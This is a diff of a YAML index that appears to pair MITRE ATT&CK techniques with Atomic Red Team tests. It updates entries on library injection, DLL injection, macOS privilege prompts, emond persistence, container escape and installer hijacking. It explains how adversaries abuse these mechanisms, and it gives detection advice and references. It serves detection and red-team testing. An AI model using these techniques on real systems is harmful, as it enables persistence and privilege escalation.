-      - source_name: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass
-        url: https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191
-        description: Jon Gabilondo. (2019, September 22). How to Inject Code into
-          Mach-O Apps. Part II.. Retrieved March 24, 2021.
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
@@ -14067,25 +14243,66 @@ privilege-escalation:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2021-04-27T19:55:18.453Z'
-      created: '2020-03-13T20:09:59.569Z'
-      x_mitre_permissions_required:
-      - User
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Module: Module Load'
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
       x_mitre_detection: |-
         Monitor for changes to environment variables and files associated with loading shared libraries such as <code>LD_PRELOAD</code> and <code>DYLD_INSERT_LIBRARIES</code>, as well as the commands to implement these changes.
 
         Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '2.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1574/006
+        external_id: T1574.006
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/13.html
+        external_id: CAPEC-13
+        source_name: capec
+      - url: https://capec.mitre.org/data/definitions/640.html
+        external_id: CAPEC-640
+        source_name: capec
+      - url: https://www.man7.org/linux/man-pages/man8/ld.so.8.html
+        description: Kerrisk, M. (2020, June 13). Linux Programmer's Manual. Retrieved
+          June 15, 2020.
+        source_name: Man LD.SO
+      - url: https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html
+        description: The Linux Documentation Project. (n.d.). Shared Libraries. Retrieved
+          January 31, 2020.
+        source_name: TLDP Shared Libraries
+      - url: https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html
+        description: Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved
+          March 24, 2021.
+        source_name: Apple Doco Archive Dynamic Libraries
+      - url: https://www.baeldung.com/linux/ld_preload-trick-what-is
+        description: baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved
+          March 24, 2021.
+        source_name: Baeldung LD_PRELOAD
+      - url: https://www.datawire.io/code-injection-on-linux-and-macos/
+        description: 'Itamar Turner-Trauring. (2017, April 18). “This will only hurt
+          for a moment”: code injection on Linux and macOS with LD_PRELOAD. Retrieved
+          December 20, 2017.'
+        source_name: Code Injection on Linux and macOS
+      - source_name: Uninformed Needle
+        description: skape. (2003, January 19). Linux x86 run-time process manipulation.
+          Retrieved December 20, 2017.
+        url: http://hick.org/code/skape/papers/needle.txt
+      - source_name: Phrack halfdead 1997
+        description: halflife. (1997, September 1). Shared Library Redirection Techniques.
+          Retrieved December 20, 2017.
+        url: http://phrack.org/issues/51/8.html
+      - url: http://www.nth-dimension.org.uk/pub/BTL.pdf
+        description: 'Tim Brown. (2011, June 29). Breaking the links: Exploiting the
+          linker. Retrieved March 29, 2021.'
+        source_name: Brown Exploiting Linkers
+      - url: https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/
+        description: Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection
+          in macOS / OSX. Retrieved March 26, 2020.
+        source_name: TheEvilBit DYLD_INSERT_LIBRARIES
+      - url: https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/
+        description: Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES.
+          Retrieved March 26, 2020.
+        source_name: Timac DYLD_INSERT_LIBRARIES
+      - url: https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191
+        description: Jon Gabilondo. (2019, September 22). How to Inject Code into
+          Mach-O Apps. Part II.. Retrieved March 24, 2021.
+        source_name: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass
       identifier: T1574.006
     atomic_tests:
     - name: Shared Library Injection via /etc/ld.so.preload
@@ -14165,23 +14382,27 @@ privilege-escalation:
         name: bash
   T1055.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1055.001
-        url: https://attack.mitre.org/techniques/T1055/001
-      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
-        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
-          A Technical Survey Of Common And Trending Process Injection Techniques.
-          Retrieved December 7, 2017.'
-        source_name: Elastic Process Injection July 2017
-      - url: https://www.endgame.com/blog/technical-blog/hunting-memory
-        description: Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December
-          7, 2017.
-        source_name: Elastic HuntingNMemory June 2017
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Dynamic-link Library Injection
+      x_mitre_data_sources:
+      - 'Process: Process Modification'
+      - 'Module: Module Load'
+      - 'Process: OS API Execution'
+      - 'Process: Process Access'
+      x_mitre_version: '1.1'
+      modified: '2021-10-18T12:20:00.382Z'
+      created: '2020-01-14T01:26:08.145Z'
+      id: attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945
+      x_mitre_defense_bypassed:
+      - Application control
+      - Anti-virus
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: "Adversaries may inject dynamic-link libraries (DLLs) into processes
         in order to evade process-based defenses as well as possibly elevate privileges.
         DLL injection is a method of executing arbitrary code in the address space
@@ -14201,24 +14422,11 @@ privilege-escalation:
         to the process's memory, system/network resources, and possibly elevated privileges.
         Execution via DLL injection may also evade detection from security products
         since the execution is masked under a legitimate process. "
-      id: attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-11-10T18:29:30.879Z'
-      created: '2020-01-14T01:26:08.145Z'
-      x_mitre_defense_bypassed:
-      - Application control
-      - Anti-virus
-      x_mitre_data_sources:
-      - 'Module: Module Load'
-      - 'Process: OS API Execution'
-      - 'Process: Process Access'
-      x_mitre_permissions_required:
-      - User
       x_mitre_detection: "Monitoring Windows API calls indicative of the various types
         of code injection may generate a significant amount of data and may not be
         directly useful for defense unless collected under specific circumstances
@@ -14233,10 +14441,20 @@ privilege-escalation:
         if a process is performing actions it usually does not, such as opening network
         connections, reading files, or other suspicious actions that could relate
         to post-compromise behavior. "
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1055/001
+        external_id: T1055.001
+        source_name: mitre-attack
+      - source_name: Elastic Process Injection July 2017
+        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
+          A Technical Survey Of Common And Trending Process Injection Techniques.
+          Retrieved December 7, 2017.'
+        url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
+      - source_name: Elastic HuntingNMemory June 2017
+        description: Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December
+          7, 2017.
+        url: https://www.endgame.com/blog/technical-blog/hunting-memory
       identifier: T1055.001
     atomic_tests:
     - name: Process Injection via mavinject.exe
@@ -14276,30 +14494,28 @@ privilege-escalation:
         elevation_required: true
   T1548.004:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1548.004
-        url: https://attack.mitre.org/techniques/T1548/004
-      - source_name: AppleDocs AuthorizationExecuteWithPrivileges
-        url: https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg
-        description: Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges.
-          Retrieved August 8, 2019.
-      - source_name: Death by 1000 installers; it's all broken!
-        url: https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8
-        description: Patrick Wardle. (2017). Death by 1000 installers; it's all broken!.
-          Retrieved August 8, 2019.
-      - source_name: Carbon Black Shlayer Feb 2019
-        url: https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/
-        description: Carbon Black Threat Analysis Unit. (2019, February 12). New macOS
-          Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.
-      - source_name: OSX Coldroot RAT
-        url: https://objective-see.com/blog/blog_0x2A.html
-        description: Patrick Wardle. (2018, February 17). Tearing Apart the Undetected
-          (OSX)Coldroot RAT. Retrieved August 8, 2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Elevated Execution with Prompt
+      x_mitre_data_sources:
+      - 'Process: OS API Execution'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.0'
+      modified: '2020-03-27T12:04:37.823Z'
+      created: '2020-01-30T14:40:20.187Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0
+      x_mitre_platforms:
+      - macOS
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - User
       description: "Adversaries may leverage the <code>AuthorizationExecuteWithPrivileges</code>
         API to escalate privileges by prompting the user for credentials.(Citation:
         AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to
@@ -14321,88 +14537,90 @@ privilege-escalation:
         Feb 2019) This technique has also been shown to work by modifying legitimate
         programs present on the machine that make use of this API.(Citation: Death
         by 1000 installers; it's all broken!)"
-      id: attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2020-03-27T12:04:37.823Z'
-      created: '2020-01-30T14:40:20.187Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
       x_mitre_effective_permissions:
       - root
-      x_mitre_permissions_required:
-      - Administrator
-      - User
+      x_mitre_contributors:
+      - Jimmy Astle, @AstleJimmy, Carbon Black
+      - Erika Noerenberg, @gutterchurl, Carbon Black
       x_mitre_detection: Consider monitoring for <code>/usr/libexec/security_authtrampoline</code>
         executions which may indicate that <code>AuthorizationExecuteWithPrivileges</code>
         is being executed. MacOS system logs may also indicate when <code>AuthorizationExecuteWithPrivileges</code>
         is being called. Monitoring OS API callbacks for the execution can also be
         a way to detect this behavior but requires specialized security tooling.
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      - 'Process: Process Creation'
-      x_mitre_contributors:
-      - Jimmy Astle, @AstleJimmy, Carbon Black
-      - Erika Noerenberg, @gutterchurl, Carbon Black
-      x_mitre_platforms:
-      - macOS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1548/004
+        external_id: T1548.004
+        source_name: mitre-attack
+      - url: https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg
+        description: Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges.
+          Retrieved August 8, 2019.
+        source_name: AppleDocs AuthorizationExecuteWithPrivileges
+      - url: https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8
+        description: Patrick Wardle. (2017). Death by 1000 installers; it's all broken!.
+          Retrieved August 8, 2019.
+        source_name: Death by 1000 installers; it's all broken!
+      - url: https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/
+        description: Carbon Black Threat Analysis Unit. (2019, February 12). New macOS
+          Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.
+        source_name: Carbon Black Shlayer Feb 2019
+      - url: https://objective-see.com/blog/blog_0x2A.html
+        description: Patrick Wardle. (2018, February 17). Tearing Apart the Undetected
+          (OSX)Coldroot RAT. Retrieved August 8, 2019.
+        source_name: OSX Coldroot RAT
     atomic_tests: []
   T1546.014:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1546.014
-        url: https://attack.mitre.org/techniques/T1546/014
-      - source_name: xorrior emond Jan 2018
-        url: https://www.xorrior.com/emond-persistence/
-        description: Ross, Chris. (2018, January 17). Leveraging Emond on macOS For
-          Persistence. Retrieved September 10, 2019.
-      - source_name: magnusviri emond Apr 2016
-        url: http://www.magnusviri.com/Mac/what-is-emond.html
-        description: Reynolds, James. (2016, April 7). What is emond?. Retrieved September
-          10, 2019.
-      - source_name: sentinelone macos persist Jun 2019
-        url: https://www.sentinelone.com/blog/how-malware-persists-on-macos/
-        description: Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS.
-          Retrieved September 10, 2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Emond
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'File: File Modification'
+      - 'File: File Creation'
+      x_mitre_version: '1.0'
+      modified: '2020-03-24T21:37:25.307Z'
+      created: '2020-01-24T15:15:13.426Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      id: attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd
+      x_mitre_platforms:
+      - macOS
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
       description: |-
         Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place.
 
         The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)
 
         Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.
-      id: attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2020-03-24T21:37:25.307Z'
-      created: '2020-01-24T15:15:13.426Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - Administrator
-      x_mitre_detection: Monitor emond rules creation by checking for files created
-        or modified in <code>/etc/emond.d/rules/</code> and <code>/private/var/db/emondClients</code>.
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'File: File Modification'
-      - 'File: File Creation'
       x_mitre_contributors:
       - Ivan Sinyakov
-      x_mitre_platforms:
-      - macOS
+      x_mitre_detection: Monitor emond rules creation by checking for files created
+        or modified in <code>/etc/emond.d/rules/</code> and <code>/private/var/db/emondClients</code>.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1546/014
+        external_id: T1546.014
+        source_name: mitre-attack
+      - url: https://www.xorrior.com/emond-persistence/
+        description: Ross, Chris. (2018, January 17). Leveraging Emond on macOS For
+          Persistence. Retrieved September 10, 2019.
+        source_name: xorrior emond Jan 2018
+      - url: http://www.magnusviri.com/Mac/what-is-emond.html
+        description: Reynolds, James. (2016, April 7). What is emond?. Retrieved September
+          10, 2019.
+        source_name: magnusviri emond Apr 2016
+      - url: https://www.sentinelone.com/blog/how-malware-persists-on-macos/
+        description: Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS.
+          Retrieved September 10, 2019.
+        source_name: sentinelone macos persist Jun 2019
       identifier: T1546.014
     atomic_tests:
     - name: Persistance with Event Monitor - emond
@@ -14429,52 +14647,39 @@ privilege-escalation:
         elevation_required: true
   T1611:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1611
-        url: https://attack.mitre.org/techniques/T1611
-      - source_name: Docker Overview
-        url: https://docs.docker.com/get-started/overview/
-        description: Docker. (n.d.). Docker Overview. Retrieved March 30, 2021.
-      - source_name: Docker Bind Mounts
-        url: https://docs.docker.com/storage/bind-mounts/
-        description: Docker. (n.d.). Use Bind Mounts. Retrieved March 30, 2021.
-      - source_name: Trend Micro Privileged Container
-        url: https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html
-        description: Fiser, D., Oliveira, A.. (2019, December 20). Why a Privileged
-          Container in Docker is a Bad Idea. Retrieved March 30, 2021.
-      - source_name: Intezer Doki July 20
-        url: https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/
-        description: 'Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers:
-          Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021.'
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Escape to Host
-      description: |-
-        Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview)
-
-        There are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host’s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host, and utilizing a privileged container to run commands on the underlying host.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20) Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host.
-      id: attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665
       type: attack-pattern
+      name: Escape to Host
+      x_mitre_data_sources:
+      - 'Container: Container Creation'
+      - 'Process: OS API Execution'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.1'
+      modified: '2021-10-15T14:59:35.913Z'
+      created: '2021-03-30T17:38:34.277Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2021-04-22T16:14:59.756Z'
-      created: '2021-03-30T17:38:34.277Z'
-      x_mitre_version: '1.0'
+      id: attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665
+      x_mitre_platforms:
+      - Windows
+      - Linux
+      - Containers
       x_mitre_is_subtechnique: false
       x_mitre_permissions_required:
       - Administrator
       - User
       - root
-      x_mitre_detection: Monitor for the deployment of suspicious or unknown container
-        images and pods in your environment, particularly containers running as root.
-        Additionally, monitor for unexpected usage of syscalls such as <code>mount</code>
-        (as well as resulting process activity) that may indicate an attempt to escape
-        from a privileged container to host. In Kubernetes, monitor for cluster-level
-        events associated with changing containers' volume configurations.
+      description: |-
+        Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview)
+
+        There are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host’s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host, or utilizing a privileged container to run commands on the underlying host.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20) Adversaries may also escape via [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.(Citation: Windows Server Containers Are Open)
+
+        Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host.
       x_mitre_contributors:
+      - Yuval Avrahami, Palo Alto Networks
+      - Daniel Prizmant, Palo Alto Networks
       - Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics
       - Alfredo Oliveira, Trend Micro
       - David Fiser, @anu4is, Trend Micro
@@ -14483,14 +14688,35 @@ privilege-escalation:
       - Ariel Shuper, Cisco
       - Yossi Weizman, Azure Defender Research Team
       - Vishwas Manral, McAfee
-      x_mitre_platforms:
-      - Windows
-      - Linux
-      - Containers
-      x_mitre_data_sources:
-      - 'Container: Container Creation'
-      - 'Process: OS API Execution'
-      - 'Process: Process Creation'
+      x_mitre_detection: Monitor for the deployment of suspicious or unknown container
+        images and pods in your environment, particularly containers running as root.
+        Additionally, monitor for unexpected usage of syscalls such as <code>mount</code>
+        (as well as resulting process activity) that may indicate an attempt to escape
+        from a privileged container to host. In Kubernetes, monitor for cluster-level
+        events associated with changing containers' volume configurations.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1611
+        external_id: T1611
+        source_name: mitre-attack
+      - url: https://docs.docker.com/get-started/overview/
+        description: Docker. (n.d.). Docker Overview. Retrieved March 30, 2021.
+        source_name: Docker Overview
+      - url: https://docs.docker.com/storage/bind-mounts/
+        description: Docker. (n.d.). Use Bind Mounts. Retrieved March 30, 2021.
+        source_name: Docker Bind Mounts
+      - url: https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html
+        description: Fiser, D., Oliveira, A.. (2019, December 20). Why a Privileged
+          Container in Docker is a Bad Idea. Retrieved March 30, 2021.
+        source_name: Trend Micro Privileged Container
+      - url: https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/
+        description: 'Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers:
+          Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021.'
+        source_name: Intezer Doki July 20
+      - url: https://unit42.paloaltonetworks.com/windows-server-containers-vulnerabilities/
+        description: Daniel Prizmant. (2020, July 15). Windows Server Containers Are
+          Open, and Here's How You Can Break Out. Retrieved October 1, 2021.
+        source_name: Windows Server Containers Are Open
       identifier: T1611
     atomic_tests:
     - name: Deploy container using nsenter container escape
@@ -14558,6 +14784,27 @@ privilege-escalation:
 '
   T1546:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Event Triggered Execution
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Command: Command Execution'
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'WMI: WMI Creation'
+      - 'File: File Metadata'
+      - 'Module: Module Load'
+      x_mitre_version: '1.1'
+      modified: '2021-10-16T20:11:14.193Z'
+      created: '2020-01-22T21:04:23.285Z'
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
       id: attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db
       description: "Adversaries may establish persistence and/or elevate privileges
         using system mechanisms that trigger execution based on specific events. Various
@@ -14571,47 +14818,11 @@ privilege-escalation:
         malware)\n\nSince the execution can be proxied by an account with higher permissions,
         such as SYSTEM or service accounts, an adversary may be able to abuse these
         triggered execution mechanisms to escalate their privileges. "
-      name: Event Triggered Execution
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1546
-        url: https://attack.mitre.org/techniques/T1546
-      - url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
-        description: Ballenthin, W., et al. (2015). Windows Management Instrumentation
-          (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.
-        source_name: FireEye WMI 2015
-      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
-        description: Patrick Wardle. (2015). Malware Persistence on OS X Yosemite.
-          Retrieved July 10, 2017.
-        source_name: Malware Persistence on OS X
-      - url: https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/
-        description: Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux
-          Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018.
-        source_name: amnesia malware
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: persistence
-      modified: '2021-04-13T21:32:54.610Z'
-      created: '2020-01-22T21:04:23.285Z'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Command: Command Execution'
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'WMI: WMI Creation'
-      - 'File: File Metadata'
-      - 'Module: Module Load'
       x_mitre_detection: "Monitoring for additions or modifications of mechanisms
         that could be used to trigger event-based execution, especially the addition
         of abnormal commands such as execution of unknown programs, opening network
@@ -14632,36 +14843,39 @@ privilege-escalation:
         of behavior that could lead to other activities, such as making network connections
         for Command and Control, learning details about the environment through Discovery,
         and conducting Lateral Movement. "
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '1.1'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1546
+        external_id: T1546
+        source_name: mitre-attack
+      - source_name: FireEye WMI 2015
+        description: Ballenthin, W., et al. (2015). Windows Management Instrumentation
+          (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.
+        url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
+      - source_name: Malware Persistence on OS X
+        description: Patrick Wardle. (2015). Malware Persistence on OS X Yosemite.
+          Retrieved July 10, 2017.
+        url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
+      - source_name: amnesia malware
+        description: Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux
+          Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018.
+        url: https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/
     atomic_tests: []
   T1574.005:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1574.005
-        url: https://attack.mitre.org/techniques/T1574/005
-      - source_name: mozilla_sec_adv_2012
-        url: https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/
-        description: Robert Kugler. (2012, November 20). Mozilla Foundation Security
-          Advisory 2012-98. Retrieved March 10, 2017.
-      - source_name: Executable Installers are Vulnerable
-        url: https://seclists.org/fulldisclosure/2015/Dec/34
-        description: 'Stefan Kanthak. (2015, December 8). Executable installers are
-          vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation
-          of privilege. Retrieved December 4, 2014.'
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Executable Installer File Permissions Weakness
-      description: |-
-        Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
-
-        Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).
-
